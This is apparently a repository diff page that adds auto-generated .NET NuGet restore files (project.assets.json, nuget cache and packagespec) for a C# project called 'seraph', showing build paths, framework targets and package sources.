Binary file not shown.
68
seraph/obj/project.assets.json
Normal file
68
seraph/obj/project.assets.json
Normal file
@@ -0,0 +1,68 @@
|
|||||||
|
{
|
||||||
|
"version": 3,
|
||||||
|
"targets": {
|
||||||
|
"net8.0": {}
|
||||||
|
},
|
||||||
|
"libraries": {},
|
||||||
|
"projectFileDependencyGroups": {
|
||||||
|
"net8.0": []
|
||||||
|
},
|
||||||
|
"packageFolders": {
|
||||||
|
"C:\\Users\\gum\\.nuget\\packages\\": {}
|
||||||
|
},
|
||||||
|
"project": {
|
||||||
|
"version": "1.0.0",
|
||||||
|
"restore": {
|
||||||
|
"projectUniqueName": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj",
|
||||||
|
"projectName": "seraph",
|
||||||
|
"projectPath": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj",
|
||||||
|
"packagesPath": "C:\\Users\\gum\\.nuget\\packages\\",
|
||||||
|
"outputPath": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\obj\\",
|
||||||
|
"projectStyle": "PackageReference",
|
||||||
|
"configFilePaths": [
|
||||||
|
"C:\\Users\\gum\\AppData\\Roaming\\NuGet\\NuGet.Config",
|
||||||
|
"C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config"
|
||||||
|
],
|
||||||
|
"originalTargetFrameworks": [
|
||||||
|
"net8.0"
|
||||||
|
],
|
||||||
|
"sources": {
|
||||||
|
"C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {},
|
||||||
|
"https://api.nuget.org/v3/index.json": {}
|
||||||
|
},
|
||||||
|
"frameworks": {
|
||||||
|
"net8.0": {
|
||||||
|
"targetAlias": "net8.0",
|
||||||
|
"projectReferences": {}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"warningProperties": {
|
||||||
|
"warnAsError": [
|
||||||
|
"NU1605"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"frameworks": {
|
||||||
|
"net8.0": {
|
||||||
|
"targetAlias": "net8.0",
|
||||||
|
"imports": [
|
||||||
|
"net461",
|
||||||
|
"net462",
|
||||||
|
"net47",
|
||||||
|
"net471",
|
||||||
|
"net472",
|
||||||
|
"net48",
|
||||||
|
"net481"
|
||||||
|
],
|
||||||
|
"assetTargetFallback": true,
|
||||||
|
"warn": true,
|
||||||
|
"frameworkReferences": {
|
||||||
|
"Microsoft.NETCore.App": {
|
||||||
|
"privateAssets": "all"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\8.0.303/PortableRuntimeIdentifierGraph.json"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
8
seraph/obj/project.nuget.cache
Normal file
8
seraph/obj/project.nuget.cache
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
{
|
||||||
|
"version": 2,
|
||||||
|
"dgSpecHash": "gKxWVmdBhy077f7Z/KiraGIHQKOBljC+34PgfrF/aeH0SFyifJXKFp/Gy2Q+5RKaA0mZtYKiIxF9wA+VMIPa3g==",
|
||||||
|
"success": true,
|
||||||
|
"projectFilePath": "C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj",
|
||||||
|
"expectedPackageFiles": [],
|
||||||
|
"logs": []
|
||||||
|
}
|
||||||
1
seraph/obj/project.packagespec.json
Normal file
1
seraph/obj/project.packagespec.json
Normal file
@@ -0,0 +1 @@
|
|||||||
|
"restore":{"projectUniqueName":"C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj","projectName":"seraph","projectPath":"C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\seraph.csproj","outputPath":"C:\\Users\\gum\\RiderProjects\\seraph\\seraph\\obj\\","projectStyle":"PackageReference","originalTargetFrameworks":["net8.0"],"sources":{"C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\":{},"https://api.nuget.org/v3/index.json":{}},"frameworks":{"net8.0":{"targetAlias":"net8.0","projectReferences":{}}},"warningProperties":{"warnAsError":["NU1605"]}}"frameworks":{"net8.0":{"targetAlias":"net8.0","imports":["net461","net462","net47","net471","net472","net48","net481"],"assetTargetFallback":true,"warn":true,"frameworkReferences":{"Microsoft.NETCore.App":{"privateAssets":"all"}},"runtimeIdentifierGraphPath":"C:\\Program Files\\dotnet\\sdk\\8.0.303/PortableRuntimeIdentifierGraph.json"}}
|
||||||
1
seraph/obj/rider.project.model.nuget.info
Normal file
1
seraph/obj/rider.project.model.nuget.info
Normal file
@@ -0,0 +1 @@
|
|||||||
|
17225408775286069
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user